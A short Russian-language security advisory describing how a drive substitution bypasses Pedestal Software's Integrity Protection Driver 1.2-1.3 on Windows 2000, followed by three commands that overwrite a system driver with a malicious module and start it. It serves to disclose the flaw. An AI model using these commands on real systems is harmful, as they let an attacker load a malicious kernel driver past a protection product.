Pedestal Software Integrity Protection Driver – драйвер для Windows 2000, который защищает систему от установки новых сервисов и драйверов, а также защищает существующие драйвера. 

Создавая символьную ссылку к каталогу драйверов Windows, нападающий может обойти IPD и перезаписать любой драйвер злонамеренным файлом. Пример: 

$ subst x: c:\winnt\system32\drivers 
$ copy badmodule.sys x:\ipnat.sys 
$ net start ipnat 

Уязвимость обнаружена в Pedestal Software Integrity Protection Driver 1.2-1.3.

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии